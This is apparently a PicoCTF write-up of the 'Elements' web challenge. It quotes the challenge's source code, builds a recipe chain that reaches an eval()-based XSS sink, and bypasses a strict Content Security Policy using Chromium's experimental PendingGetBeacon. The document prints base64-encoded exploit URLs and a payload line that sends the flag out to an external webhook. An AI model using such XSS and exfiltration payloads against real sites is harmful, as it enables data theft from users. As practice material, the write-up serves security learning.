๐ Elements
A detailed write-up of the Web challenge 'Elements' from PicoCTF - 2024
๐ Challenge Overview
Category Details Additional Info ๐ Event PicoGym Event Link ๐ฐ Category Web ๐ ๐ Points Out of 500 total โญ Difficulty ๐ด Hard Personal Rating: 6/10 ๐ค Author ehhthing Profile ๐ฎ Solves (At the time of flag submission) 686 solve rate ๐ Date 07-03-2025 PicoGym ๐ฆพ Solved By mH4ck3r0n3 Team:
๐ Challenge Information
Insert Standard Web Challenge Here. Source code: elements.tar.gz Craft some magic up here
๐ฏ Challenge Files & Infrastructure
Provided Files
Files:
๐ Initial Analysis
First Steps
Initially, the website appears as follows:
It closely resembles games like Doodle God, where you have to mix elements to create new ones. Taking a look at the attached files, I immediately noticed two interesting things in the
index.js
file:
1 2 3 4 5 6 7 8 9 10 11 12
const evaluate = (...items) => { const [a, b] = items.sort(); for (const [ingredientA, ingredientB, result] of recipes) { if (ingredientA === a && ingredientB == b) { if (result === 'XSS' && state.xss) { eval(state.xss); } return result; } } return null; }
At the beginning of the file, some variables are declared:
recipes
,elements
, andfound
. Respectively, the first one contains all the combinations that form all the possible elements, the second is a map for all the possible elements, and the third indicates the elements found (initially set toFire, Water, Earth, Air
). As we can see from the code above, the wordXSS
even suggests that in that specific part of the code, it is possible to achieve anXSS
. The only thing we need to figure out is how to construct a chain of elements to discover theXSS
element, from which we can obtain aninjection
since it is passed to aneval()
function. Continuing to read through the files, I found more interesting things in theindex.mjs
file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
const csp = [ "default-src 'none'", "style-src 'unsafe-inline'", "script-src 'unsafe-eval' 'self'", "frame-ancestors 'none'", "worker-src 'none'", "navigate-to 'none'" ] // no seriously, do NOT attack the online-mode server! // the solution literally CANNOT use it! if (req.headers.host !== '127.0.0.1:8080') { csp.push("connect-src https://elements.attest.lol/"); } res.setHeader('Content-Security-Policy', csp.join('; ')); res.setHeader('Cross-Origin-Opener-Policy', 'same-origin'); res.setHeader('X-Frame-Options', 'deny'); res.setHeader('X-Content-Type-Options', 'nosniff');
As we can see, there are very strict
CSP
rules that prevent making requests outside the scope of the website… So, most likely, to send ourselves the flag, we will need to bypass theCSP (Content Security Policy)
. Additionally, I found the/remoteCraft
route, where we can send the element chain to create theXSS
element:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
if (url.pathname === '/') { res.setHeader('Content-Type', 'text/html'); return res.end(html); } else if (url.pathname === '/index.js') { res.setHeader('Content-Type', 'text/javascript'); return res.end(js); } else if (url.pathname === '/remoteCraft') { try { const { recipe, xss } = JSON.parse(url.searchParams.get('recipe')); assert(typeof xss === 'string'); assert(xss.length < 300); assert(recipe instanceof Array); assert(recipe.length < 50); for (const step of recipe) { assert(step instanceof Array); assert(step.length === 2); for (const element of step) { assert(typeof xss === 'string'); assert(element.length < 50); } } visit({ recipe, xss }); } catch(e) { console.error(e); return res.writeHead(400).end('invalid recipe!'); } return res.end('visiting!'); }
As we can see, the server ensures that the chain contains fewer than
50
elements, so we cannot build one that exceeds this limit. Additionally, we are restricted to anXSS
payload with fewer than300
characters. These limitations are quite strict… Let’s move on to the exploitation phase.
๐ฌ Vulnerability Analysis
Potential Vulnerabilities
- XSS (Cross Site Scripting)
- CSP (Content Security Policy) Bypass
๐ฏ Solution Path
Exploitation Steps
Initial setup
The first step is to construct the element chain to reach
XSS
. To do this, we can inspect therecipes
variable to see what is needed to obtainXSS
and manually build the chain (which would be quite tedious). Alternatively, we can write a script that directly extracts the chain for us. I used the second method, but I admit that I copied the script from an online write-up since I’m currently a bit rusty with programming ^^. So, I’ll try to explain it instead. This script simulates a crafting (or element combination) system, where, starting from a set of base elements, recipes are applied to obtain new elements until the target elementXSS
is reached. Hereโs a detailed breakdown of what it does:
- The variable
have
contains the base elements:"Fire"
,"Water"
,"Earth"
, and"Air"
. Therecipes
list contains numerous recipes. Each recipe is a list consisting of three strings: the first and second elements are the required ingredients, while the third is the resulting product of the combination.- The script enters a
while
loop that continues until"XSS"
is present in thehave
set.- Inside the loop, for each recipe
t
: If both ingredients (t[0] and t[1]) are present inhave
and the product (t[2]) is not already inhave
, then: The recipe is added to thesteps
list. The product is added to thehave
set, and if the product isXSS
, the loop breaks.- Backtracking phase: After obtaining
"XSS"
, aneeds
set is created, initially containing"XSS"
. The script then iterates oversteps
in reverse order, trying to “reconstruct” the path required to obtain"XSS"
. For each step (presumably a recipe represented by a list [ingredient1, ingredient2, product]), if the product (s[2]) is present inneeds
, then: The pair of ingredients used in that recipe is added to the output (in theanswer
variable). The product is removed from theneeds
set and replaced with the two ingredients, allowing the script to “trace back” the combination chain to the base elements.So, to construct the chain, I simply ran the script:
Having obtained the chain:
1
[['Earth', 'Water'], ['Earth', 'Fire'], ['Air', 'Earth'], ['Air', 'Water'], ['Magma', 'Mist'], ['Magma', 'Mud'], ['Fire', 'Mud'], ['Fire', 'Mist'], ['Obsidian', 'Water'], ['Air', 'Rock'], ['Fog', 'Mud'], ['Hot Spring', 'Sludge'], ['Fire', 'Steam Engine'], ['Brick', 'Mud'], ['Hot Spring', 'Steam Engine'], ['Earth', 'Obsidian'], ['Brick', 'Fog'], ['Computer Chip', 'Steam Engine'], ['Dust', 'Heat Engine'], ['Adobe', 'Cloud'], ['Electricity', 'Software'], ['Computer Chip', 'Fire'], ['Artificial Intelligence', 'Data'], ['Encryption', 'Software'], ['Fire', 'Sand'], ['Internet', 'Program'], ['Glass', 'Software'], ['Cybersecurity', 'Vulnerability'], ['Exploit', 'Web Design']]
To reach the
XSS
element, all that’s left is to try the chain. Since the loading of thexss
state is executed in the following line:
1
state = JSON.parse(atob(window.location.hash.slice(1)));
And as we can see, the function
window.location.hash.slice(1)
is used, so we can directly pass our payload to test it like this:rhea.picoctf.net:61508/#payload_base64
. We need to pass it asbase64
due to theatob()
function. I then add"xss":"alert(1)"
to the crafted element chain to try to trigger theXSS
and executealert(1)
, and encode it in base64:Resulting in the following payload:
1
http://rhea.picoctf.net:61508/#eyJ4c3MiOiAiYWxlcnQoMSkiLCAicmVjaXBlIjogW1siRWFydGgiLCAiV2F0ZXIiXSwgWyJFYXJ0aCIsICJGaXJlIl0sIFsiQWlyIiwgIkVhcnRoIl0sIFsiQWlyIiwgIldhdGVyIl0sIFsiTWFnbWEiLCAiTWlzdCJdLCBbIk1hZ21hIiwgIk11ZCJdLCBbIkZpcmUiLCAiTXVkIl0sIFsiRmlyZSIsICJNaXN0Il0sIFsiT2JzaWRpYW4iLCAiV2F0ZXIiXSwgWyJBaXIiLCAiUm9jayJdLCBbIkZvZyIsICJNdWQiXSwgWyJIb3QgU3ByaW5nIiwgIlNsdWRnZSJdLCBbIkZpcmUiLCAiU3RlYW0gRW5naW5lIl0sIFsiQnJpY2siLCAiTXVkIl0sIFsiSG90IFNwcmluZyIsICJTdGVhbSBFbmdpbmUiXSwgWyJFYXJ0aCIsICJPYnNpZGlhbiJdLCBbIkJyaWNrIiwgIkZvZyJdLCBbIkNvbXB1dGVyIENoaXAiLCAiU3RlYW0gRW5naW5lIl0sIFsiRHVzdCIsICJIZWF0IEVuZ2luZSJdLCBbIkFkb2JlIiwgIkNsb3VkIl0sIFsiRWxlY3RyaWNpdHkiLCAiU29mdHdhcmUiXSwgWyJDb21wdXRlciBDaGlwIiwgIkZpcmUiXSwgWyJBcnRpZmljaWFsIEludGVsbGlnZW5jZSIsICJEYXRhIl0sIFsiRW5jcnlwdGlvbiIsICJTb2Z0d2FyZSJdLCBbIkZpcmUiLCAiU2FuZCJdLCBbIkludGVybmV0IiwgIlByb2dyYW0iXSwgWyJHbGFzcyIsICJTb2Z0d2FyZSJdLCBbIkN5YmVyc2VjdXJpdHkiLCAiVnVsbmVyYWJpbGl0eSJdLCBbIkV4cGxvaXQiLCAiV2ViIERlc2lnbiJdXX0=
After trying to visit the URL (if it doesn’t work, refresh with
F5
), I got the injection:Now the real challenge is figuring out how to bypass the
CSP
to send the flag to ourselves. Let’s move on to the next phase.
Exploitation
I must admit, I looked at this part in a write-up… The
CSP
seemed very strict, almost not allowing anything through. In fact, I also noticed in thepolicy.json
file:
1
{"URLAllowlist":["127.0.0.1:8080"],"URLBlocklist":["*"]}
That all URLs outside of
localhost:8080
are blocked, and at some point, I thought it was impossible. However, it turns out there was a method. By taking a look at the flags specified in thespawn()
of the chromium instance (which, by the way, was modified by the challenge authors):
1 2 3 4 5 6 7 8 9 10 11 12 13
const proc = spawn( '/usr/bin/chromium-browser-unstable', [ `--user-data-dir=${userDataDir}`, '--profile-directory=Default', '--no-sandbox', '--js-flags=--noexpose_wasm,--jitless', '--disable-gpu', '--no-first-run', '--enable-experimental-web-platform-features', `http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}` ], { detached: true } )
There is a flag
--enable-experimental-web-platform-features
that enables experimental features. In this case, there is anAPI
(for this specific chromium version) calledPendingGetBeacon
that allows sending GET requests, and since it uses a technique (similar to the Beacon API) to send a GET request, it often bypasses the restrictions of CSP and URL policies (allowlist/blocklist). These restrictions are typically applied to standard requests (like fetch or XMLHttpRequest) and do not always strictly control beacons or requests generated through unconventional methods. In other words, thePendingGetBeacon
might be exempt or not fully covered by the rules blocking external URLs. So, we can specify:
1
"xss": " let pb = new PendingGetBeacon('https://webhook_link/?flag=${state.flag}');pb.sendNow();"
To send the flag to ourselves, the first thing I did was take the link of a
webhook
(https://webhook.site) and set it in the exploit script. In the previously seen payload, I got the base64 and constructed the link:
1
http://rhea.picoctf.net:61508/#eyJ4c3MiOiAiXG5sZXQgcGIgPSBuZXcgUGVuZGluZ0dldEJlYWNvbihgaHR0cHM6Ly93ZWJob29rLnNpdGUvY2EzNDU1YTktYTMwNC00ODM4LTkxMzQtMjQ1ZDEwOGJiYjEwLz9mbGFnPSR7c3RhdGUuZmxhZ31gKTtcbnBiLnNlbmROb3coKTtcbiIsICJyZWNpcGUiOiBbWyJFYXJ0aCIsICJGaXJlIl0sIFsiRWFydGgiLCAiV2F0ZXIiXSwgWyJBaXIiLCAiV2F0ZXIiXSwgWyJBaXIiLCAiRWFydGgiXSwgWyJNYWdtYSIsICJNdWQiXSwgWyJGaXJlIiwgIk1pc3QiXSwgWyJNYWdtYSIsICJNaXN0Il0sIFsiRWFydGgiLCAiT2JzaWRpYW4iXSwgWyJPYnNpZGlhbiIsICJXYXRlciJdLCBbIkZvZyIsICJNdWQiXSwgWyJBaXIiLCAiUm9jayJdLCBbIkNvbXB1dGVyIENoaXAiLCAiRmlyZSJdLCBbIkhvdCBTcHJpbmciLCAiU2x1ZGdlIl0sIFsiQ29tcHV0ZXIgQ2hpcCIsICJTdGVhbSBFbmdpbmUiXSwgWyJIb3QgU3ByaW5nIiwgIlN0ZWFtIEVuZ2luZSJdLCBbIkZpcmUiLCAiU3RlYW0gRW5naW5lIl0sIFsiQXJ0aWZpY2lhbCBJbnRlbGxpZ2VuY2UiLCAiRGF0YSJdLCBbIkNvbXB1dGVyIENoaXAiLCAiRWxlY3RyaWNpdHkiXSwgWyJEdXN0IiwgIkhlYXQgRW5naW5lIl0sIFsiRW5jcnlwdGlvbiIsICJTb2Z0d2FyZSJdLCBbIkNvbXB1dGVyIENoaXAiLCAiU29mdHdhcmUiXSwgWyJGaXJlIiwgIlNhbmQiXSwgWyJJbnRlcm5ldCIsICJQcm9ncmFtIl0sIFsiR2xhc3MiLCAiU29mdHdhcmUiXSwgWyJDeWJlcnNlY3VyaXR5IiwgIlZ1bG5lcmFiaWxpdHkiXSwgWyJFeHBsb2l0IiwgIldlYiBEZXNpZ24iXV19
By sending the request (as done previously for the alert) and checking the web interface of the created
webhook
, I received the request with theflag
parameter containing the value of the flag.
Flag capture
๐ ๏ธ Exploitation Process
Approach
The automatic exploit literally performs the steps previously described, using the
/remoteCraft
route instead ofhttp://rhea.picoctf.net:61508/#payload_base64
to send the payload. You just need to runserver.py
and haveexploit.py
in the same directory. The structure right now is a bit messy, but as soon as I have some time, I plan to write a library with all these functions. Currently,server.py
usesserveo
for forwarding, extracting the link from thestdout
of subprocess and passing it toexploit.py
asargv
. Then, the payload is set, and all of this is executed via a background thread while theFlask
server runs in the foreground. This way, as soon as the request is made, it arrives at the Flask server, and through a regex, I extract only the flag.
๐ฉ Flag Capture
Flag
Proof of Execution
๐ง Tools Used
Tool Purpose Python Exploit
๐ก Key Learnings
New Knowledge
I have learned to bypass the CSP in the case of the
--enable-experimental-web-platform-features
flag on Chromium spawn.
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
๐ References & Resources
Learning Resources
๐ Final Statistics
Metric | Value | Notes |
---|---|---|
Time to Solve | 01:20 | From start to flag |
Global Ranking (At the time of flag submission) | Challenge ranking | |
Points Earned | Team contribution |
Created: 07-03-2025 โข Last Modified: 07-03-2025 *Author: mH4ck3r0n3 โข Team: *